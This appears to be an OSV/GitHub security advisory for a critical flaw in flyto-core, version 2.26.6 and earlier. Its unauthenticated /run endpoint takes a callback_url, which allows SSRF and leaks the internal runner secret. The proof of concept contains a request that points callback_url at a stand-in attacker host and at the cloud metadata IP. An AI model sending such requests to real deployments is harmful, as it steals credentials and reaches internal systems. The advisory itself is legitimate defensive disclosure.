{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.26.6"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "flyto-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.26.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67426"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-522",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T14:47:41Z",
    "nvd_published_at": "2026-07-29T19:16:51Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\nThe standalone `flyto-verification` service exposes `POST /run` with **no authentication**, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body\u0027s `callback_url` is used verbatim for an outbound POST that **unconditionally attaches `X-Internal-Key: $FLYTO_RUNNER_SECRET`**. The `callback_url` bypasses the service\u0027s `target_allowed` allowlist (which only inspects `params.target_url`) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host \u2014 allowing forged authenticated callbacks to the real engine.\n\n## Root Cause\n- `src/core/verification_service.py:363-364` \u2014 `/run` has no `Depends`/auth dependency.\n- `resolve_callback_url` returns the client `callback_url` verbatim (`:315-316`).\n- `post_callback` attaches `X-Internal-Key: $FLYTO_RUNNER_SECRET` whenever the env var is set (`:327-335`).\n- `target_allowed` only gates `params.target_url` (`:259`), never `callback_url`. No `validate_url_*` anywhere in the file.\n- `Dockerfile.verification` CMD = `main(\u00270.0.0.0\u0027, 8344)`; entrypoint `flyto-verification` in `pyproject.toml:107` \u2192 the shipped image binds all interfaces by default.\n\n## Impact\nUnauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of `FLYTO_RUNNER_SECRET` to an attacker host \u2192 the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).\n\n## Proof of Concept\nCode-proven this session (all lines confirmed on v2.26.6):\n```\nPOST http://\u003cverification-host\u003e:8344/run\n{\"workflowYaml\":\"...\",\"params\":{...},\"callback_url\":\"http://attacker.tld/collect\"}\n# -\u003e service POSTs to attacker.tld with header X-Internal-Key: \u003cFLYTO_RUNNER_SECRET\u003e\n# Or callback_url=http://\u003ccloud-metadata-ip\u003e/... for internal SSRF with a controlled body.\n```\n\n## Attack Chain\n1. Entry: unauthenticated `POST http://\u003chost\u003e:8344/run` with `callback_url:\"http://attacker.tld/collect\"`. Guard: auth on `/run`. Bypass proof: no `Depends(require_auth)` (verification_service.py:363-364); Dockerfile binds all interfaces on port 8344.\n2. Check: `target_allowed` scope (:259). Bypass proof: only inspects `params.target_url`; `callback_url` is never passed through `extract_host`/`target_allowed`.\n3. Check: SSRF validation on `callback_url`. Bypass proof: file has ZERO `validate_url` references.\n4. Sink: `post_callback` \u2192 `session.post(callback_url, json=payload, headers={\"X-Internal-Key\": FLYTO_RUNNER_SECRET})` (:330-335); header attached unconditionally when the env var is set (:327-329).\n5. Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTO_RUNNER_SECRET \u2192 replay to authenticate to the real engine callback endpoint.\n\n## Bypass Evidence\n`/run` has no auth dependency (grep-confirmed); `resolve_callback_url` returns the client value verbatim; `X-Internal-Key` attached unconditionally; `target_allowed` gates only `params.target_url`; no `validate_url_*` in the file; shipped Dockerfile binds all interfaces.\n\n## Affected Versions\n`\u003c= 2.26.6` \u2014 `verification_service.py`, `pyproject.toml:107` entrypoint, and `Dockerfile.verification` present on latest release tag.\n\n## Suggested Fix\nAdd authentication to `/run`; run `callback_url` through the SSRF guard + host allowlist before attaching any internal header; do not attach `X-Internal-Key` to non-allowlisted destinations; bind the service to loopback by default.\n\n## Credit\n\nVulnerability discovered by zx (Jace).",
  "id": "GHSA-jx74-cqjv-2c67",
  "modified": "2026-07-30T14:47:41Z",
  "published": "2026-07-30T14:47:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-jx74-cqjv-2c67"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67426"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/commit/0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flytohub/flyto-core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration"
}